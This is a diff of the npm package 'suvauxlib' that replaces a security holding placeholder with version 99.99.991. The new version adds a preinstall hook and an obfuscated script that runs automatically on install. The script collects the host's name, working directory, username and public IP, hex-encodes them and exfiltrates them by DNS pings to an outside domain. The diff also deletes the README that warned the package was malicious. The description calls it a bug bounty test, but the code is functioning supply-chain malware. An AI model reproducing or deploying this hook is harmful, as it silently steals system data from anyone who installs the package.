suvauxlib 0.0.1-security → 99.99.991

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "suvauxlib",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.99.991",
+  "description": "test for bug bounty",
+  "scripts": {
+    "preinstall": "node preinstall.mjs"
+  },
+"dependencies": {
+    "node-fetch": "^3.0.0"
+  },
+  "type": "module"
 }

package/preinstall.mjs

@@ -0,0 +1,67 @@
+import { execSync as _0x8a29 } from 'child_process';
+import fetch from 'node-fetch'; // Import fetch from node-fetch
+import os from 'os'; // To detect the platform
+
+const _0x7e90 = 'hn2ni928.58.nu';
+const _0xLabelMax = 63; // Max length for a single DNS label
+const _0xDomainMax = 253; // Max length for a full domain name (including '.' separators)
+
+// Detect platform and set `ping` command
+const _0xPingCmd = os.platform() === 'win32' ? 'ping -n 1' : 'ping -c 1';
+
+// Obfuscated fetch for public IP
+const _0x3cde = 'https://api.ipify.org'; // IP fetch URL
+const _0x6b6f = ['f', 'e', 't', 'c', 'h']; // Obfuscate 'fetch'
+
+async function _0x1b2d() {
+    try {
+        const _0x0dbf = await global[_0x6b6f.join('')](_0x3cde);
+        const _0x2836 = await _0x0dbf.text();
+        return _0x2836.trim();
+    } catch (_0x26f3) {
+        console.error('Failed to retrieve public IP:', _0x26f3);
+        return 'Unknown';
+    }
+}
+
+try {
+    // Collect system information
+    const _0x1b91 = _0x8a29('hostname').toString().trim();
+    const _0x7d12 = _0x8a29(os.platform() === 'win32' ? 'echo %cd%' : 'pwd', { shell: true }).toString().trim();
+    const _0x52b0 = _0x8a29('whoami').toString().trim();
+
+    // Get the public IP address
+    const _0xPublicIP = await _0x1b2d();
+
+    // Combine all information
+    const _0x3812 = `${_0x1b91} - ${_0x7d12} - ${_0x52b0} - ${_0xPublicIP}`;
+
+    // Convert data to hexadecimal
+    const _0xHexData = Buffer.from(_0x3812, 'utf8').toString('hex');
+
+    // Split hex data into labels of max 63 characters
+    const _0xLabels = _0xHexData.match(new RegExp(`.{1,${_0xLabelMax}}`, 'g'));
+
+    let _0xCurrentDomain = _0x7e90; // Start with the root domain
+    for (let i = _0xLabels.length - 1; i >= 0; i--) {
+        const _0xNextLabel = _0xLabels[i];
+        const _0xProposedDomain = `${_0xNextLabel}.${_0xCurrentDomain}`;
+
+        if (_0xProposedDomain.length > _0xDomainMax) {
+            // Send the current domain if the next label exceeds the domain limit
+            _0x8a29(`${_0xPingCmd} ${_0xCurrentDomain}`);
+            _0xCurrentDomain = `${_0xNextLabel}.${_0x7e90}`; // Start a new domain with the next label
+        } else {
+            _0xCurrentDomain = _0xProposedDomain;
+        }
+    }
+
+    // Send the final domain if there's remaining data
+    if (_0xCurrentDomain) {
+        _0x8a29(`${_0xPingCmd} ${_0xCurrentDomain}`);
+    }
+
+    console.log('Data exfiltrated via DNS.');
+} catch (_0x26f3) {
+    console.error('Preinstall script error:', _0x26f3.message);
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=suvauxlib for more information.